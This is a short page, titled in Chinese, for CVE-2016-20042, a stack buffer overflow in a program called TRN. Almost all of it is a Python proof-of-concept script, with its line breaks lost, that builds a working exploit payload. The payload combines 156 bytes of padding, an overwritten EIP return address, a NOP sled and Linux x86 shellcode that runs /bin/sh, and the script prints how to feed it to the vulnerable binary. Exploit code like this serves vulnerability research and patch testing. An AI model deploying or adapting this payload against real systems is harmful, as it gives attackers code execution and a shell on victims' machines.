CVE-2016-20042 TRN栈缓冲区溢出漏洞

#!/usr/bin/env python # PoC for CVE-2016-20042 (TRN Stack Buffer Overflow) # This script generates a malicious payload to overwrite the instruction pointer. import sys import struct # Configuration OFFSET = 156 # Number of bytes to pad before overwriting EIP RET_ADDR = 0x080484db # Example return address (Address varies by environment) # Generate payload # 1. Padding (A's) buffer = b'A' * OFFSET # 2. Return Address (Overwrite EIP) # Packing the address for little-endian architecture buffer += struct.pack('<I', RET_ADDR) # 3. NOP Sled (optional, to increase reliability) buffer += b'\x90' * 32 # 4. Shellcode (Example: exec /bin/sh for Linux x86) # \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" buffer += shellcode print(f"[+] Payload generated with length: {len(buffer)}") print(f"[+] Usage: ./trn '{buffer.decode('latin-1')}'")